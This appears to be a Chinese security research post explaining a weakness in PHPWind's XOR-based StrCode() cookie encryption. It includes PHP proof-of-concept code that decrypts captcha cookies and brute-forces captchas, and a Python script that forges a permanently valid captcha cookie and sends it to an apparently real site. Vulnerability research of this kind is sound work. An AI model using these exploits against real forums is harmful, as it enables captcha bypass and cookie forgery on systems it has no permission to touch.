PHPWind strcode() 加密算法设计缺陷

本文只是补充OWASP 2011上主题演讲的一些细节。想了解背景可以参考此PPT。     由于时间匆忙，且家里发生了一些事情，所以这些都是2个月前的一些研究结果。代码也写得很粗糙，但基本能用。 描述    在PHPWind 8.x 中（甚至包括一些老版本），strcode()函数是核心的加密函数，用于很多地方，比如cookie的加密。但strcode()函数只是简单的实现了XOR加密，由于缺乏HMAC和IV，使得strcode() 存在Reused Key Attack 与 Bit-flipping Attack。攻击者通过一定的方法能够解密任意密文，或者构造出任意明文的密文。 细节解密任意密文    在common.php 中：/** * 加密、解密字符串 * *@global string $db_hash *@global array $pwServer *@param $string 待处理字符串 *@param $action 操作，ENCODE|DECODE *@return string */function StrCode($string, $action ='ENCODE') {         $action!= 'ENCODE' && $string = base64_decode($string);         $code= '';         $key= substr(md5($GLOBALS['pwServer']['HTTP_USER_AGENT'] . $GLOBALS['db_hash']), 8,18);         $keyLen= strlen($key);         $strLen= strlen($string);         for($i = 0; $i                    $k= $i % $keyLen;                   $code.= $string[$i] ^ $key[$k];         }         return($action != 'DECODE' ? base64_encode($code) : $code);}    那么，以破解验证码为例。在phpwind中，验证码是在ck.php中按照如下方式生成的：         functiongetCode($type=null,$set=true) {                   empty($type)&& $type = $this->gdcontent;                   $code= '';                   switch($type) {                            case3:                                     global$db_charset,$lang;                                     require_onceGetLang('ck');                                     $step= strtoupper($db_charset) == 'UTF-8' ? 3 : 2;                                     $len  = (strlen($lang['ck'])/$step) - 1;                                     for($i = 0; $i num; $i++) {                                               $code.= substr($lang['ck'],mt_rand(0,$len)*$step,$step);                                     }                                     $set&& $this->cookie($code);                                     if(strtoupper($db_charset) 'UTF-8') {                                               $code= $this->convert($code,'UTF-8',$db_charset);                                     }                                     $code= explode(',',wordwrap($code,3,',',1));                                     break;                            case2:                                     $list= 'BCEFGHJKMPQRTVWXY2346789';                                     $len  = strlen($list) - 1;                                     for ($i = 0; $i num; $i++) {                                               $code.= $list[mt_rand(0,$len)];                                     }                                     $set&& $this->cookie($code);                                     break;                            default:                                     $list= '2346789';                                     $this->gdtype== 3 && $list .= '15';                                     $len= strlen($list) - 1;                                     mt_srand((double)microtime() * 1000000);                                     for($i = 0; $i num; $i++) {                                               $code.= $list{mt_rand(0, $len)};                                     }                                     $set&& $this->cookie($code);                   }                   return$code;         }        同时验证码的字符集只有24个，因为有些字符容易让用户产生混淆，比如字母"l"与数字"1"：    $list= 'BCEFGHJKMPQRTVWXY2346789';    最终将生成的验证码与时间戳绑定后写入Cookie中：    加密前的结构如下：    根据Reused Key Attack的攻击方法，知道明文1、密文1、密文2后，可以通过XOR操作推导出明文2。在验证码的应用中，有两个因素比较关键，一个是时间戳，一个是验证码的值。    但实际上有很多地方可以暴露时间戳。比如下面的地方：HTTP/1.1 200 OKServer: nginx/0.7.65Date: Mon, 05 Sep 2011 03:08:29 GMTContent-Type: image/pngTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.2.10Set-Cookie: dd499_c_stamp=1315192109; expires=Tue, 04-Sep-2012 03:08:29 GMT;path=/Set-Cookie: dd499_lastvisit=3522%091315192109%09%2Fck.php%3Fnowtime1315191874102;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=/Pragma: no-cacheCache-control: no-cacheSet-Cookie: dd499_cknum=AQsFB1VdVlRSC28xUVYMBgUDUgEFClEGVANRBwQBAgJbBQNVCAABCgZWB1E;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=/    获取了时间戳和已知的验证码1后，可以构造出服务端使用的明文；结合抓取到的这次密文，就可以推导出任意密文的明文了。    但明文中未直接包含验证码的值，而只是使用了验证码的MD5，因此要破解出验证码，需要采用MD5 rainbow table的方式来逆向推导MD5后的验证码值。因为phpwind采用的验证码位数不是很多，只有4位、5位或6位，因此实际上只需要计算 24^4 = 331776 或者 24^5 = 7962624 次即可（验证码从24个字符中产生）。    演示代码如下： $code1 = "QPG3W8";$t = 1320392525;$str1 = base64_decode("AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc"); // cipher to crack//加密方式： 时间戳."\t\t".md5(验证码.时间戳); $str2 = base64_decode("AQUFBVIJAwIBDjloXAYEBwJRAwAADVgBCVRdUlUAAgcHBlABCQMBBgAIAwE");   echo "TimeStamp is: ".$t."\n"; for ($jmp = 0; $jmp $x = ($t-10+$jmp)."\t\t".md5($code1.($t-10+$jmp));  $guess = "";  for ($i=0;$i     $guess .= chr(ord($x[$i])  ^ ord($str1[$i]) ^ ord($str2[$i]) );  } //echo $guess."\n";   if ( is_numeric(substr($guess,0,10)) && preg_match("/^[a-z0-9]*$/i", substr($guess,-32) ) ){ //if ($jmp == 10){   echo "\nGuess Result is: ".$guess."\n";   break; } } // 遍历出checkcode $counter = 0;  $startTime = time();$cksets = 'BCEFGHJKMPQRTVWXY2346789'; function bruteforce_guess($p){    global $counter; global $cksets;  for ($a=0;$a   $result = "";      $result[0] =  $cksets[$a];   for($b=0;$b     $result[1] = $cksets[$b];     for($c=0;$c       $result[2] = $cksets[$c];       for($d=0;$d         $result[3] = $cksets[$d];         for($e=0;$e           $result[4] = $cksets[$e];           for($f=0;$f             $counter ++;             $result[5] = $cksets[$f];             $result = $result[0].$result[1].$result[2].$result[3].$result[4].$result[5];              if (md5($result.substr($p,0,10)) == substr($p,-32) ){                echo "CheckCode is: ".$result."\n";                return $result;             }                          if ($counter % 300000 == 0){               echo ".";             }           }                      }       }       }   } } return False;}  function random_guess($p){ global $counter; global $cksets;  for(;;){    $result = '';$len  = strlen($cksets) - 1;$counter ++;for ($i = 0; $i $result .= $cksets[mt_rand(0,$len)];    }if (md5($result.substr($p,0,10)) == substr($p,-32) ){      echo "CheckCode is: ".$result."\n";      break;    }            if ($counter % 300000 == 0){      echo ".";    } }}    bruteforce_guess($guess);   // 遍历所有可能性 //random_guess($guess);     //随机生成方式遍历  echo "Counter is: ".$counter."\n"; echo "Spend Time: ".(time()-$startTime)." Seconds\n"; function hex($str){    $result = '';    for ($i=0;$i         $result .= "\\x".ord($str[$i]);    }    return $result;}       ?>        测试如下，要破解如下验证码：    攻击效果：构造任意明文的密文    还是以验证码为例，构造一个永久有效的验证码。    在phpwind中，是通过以下过程验证一个验证码的：1.      Post参数 gdcode 的值为 valueA2.      解密cookie cknum的值，获取到原文为 valueB3.      通过safecheck()函数验证valueB的时间戳是否合法，以及valueB的 md5 是否与valueA的计算结果一致 Global.php:/** * 校验验证码 * *@param string $code */function GdConfirm($code,$bool = null) {         Cookie('cknum','', 0);         if(!$code || !SafeCheck(explode("\t", StrCode(GetCookie('cknum'),'DECODE')), strtoupper($code), 'cknum', 1800)) {                   if($bool){                            returnfalse;                   }else{                            Showmsg('check_error');                   }         }         returntrue;} Common.php: /** * 检查cookie是否过期 * *@global int $timestamp *@param array $cookieData cookie数据 *@param string $pwdCode 用户私有信息 *@param string $cookieName cookie名 *@param int $expire 过期秒数 *@param bool $clearCookie 验证错误是否清除cookie *@param bool $refreshCookie 是否刷新cookie *@return bool */function SafeCheck($cookieData, $pwdCode,$cookieName = 'AdminUser', $expire = 1800,$clearCookie = true ,$refreshCookie =true) {         global$timestamp;         if($timestamp- $cookieData[0] > $expire) {                   Cookie($cookieName,'', 0);                   returnfalse;         }elseif ($cookieData[2] != md5($pwdCode . $cookieData[0])) {                   $clearCookie&& Cookie($cookieName, '', 0);                   returnfalse;         }         if($refreshCookie) {                   $cookieData[0]= $timestamp;                   $cookieData[2]= md5($pwdCode . $cookieData[0]);                   Cookie($cookieName,StrCode(implode("\t", $cookieData)));         }         returntrue;}    注意到验证码的失效时间是服务端时间的1800秒之后。攻击者可以通过构造一个超级大的时间使得判断条件永远成立。$timestamp– $cookieData[0]     演示代码如下：import string import urllib2import urllib#from urlparse import urlparse   import httplib    import base64import md5 plaintext1 = "1320392525"+"\t\t"+md5.new("QPG3W8"+"1320392525").hexdigest()ciphertext1 = base64.b64decode("AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc=") bigtime = "2000000000"plaintext2 = bigtime+"\t\t"+md5.new("2MY8W3"+bigtime).hexdigest()ciphertext2 = '' for i in range(0,len(plaintext1)):  ciphertext2 += chr(ord(plaintext1[i]) ^ ord(ciphertext1[i]) ^ ord(plaintext2[i]))  cookie = base64.b64encode(ciphertext2) url = "http://www.mtkjm.cn/register.php?verify=7f3e5fe4" data = {'action':'regcheck','gdcode':'2MY8W3','type':'reggdcode'}data = urllib.urlencode(data) headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20',           'Cookie':'be2f1_cknum='+cookie} req = urllib2.Request(url,data,headers)     f = urllib2.urlopen(req)        print f.read()    测试效果：    （返回值为0说明验证通过，返回值为1是验证不通过）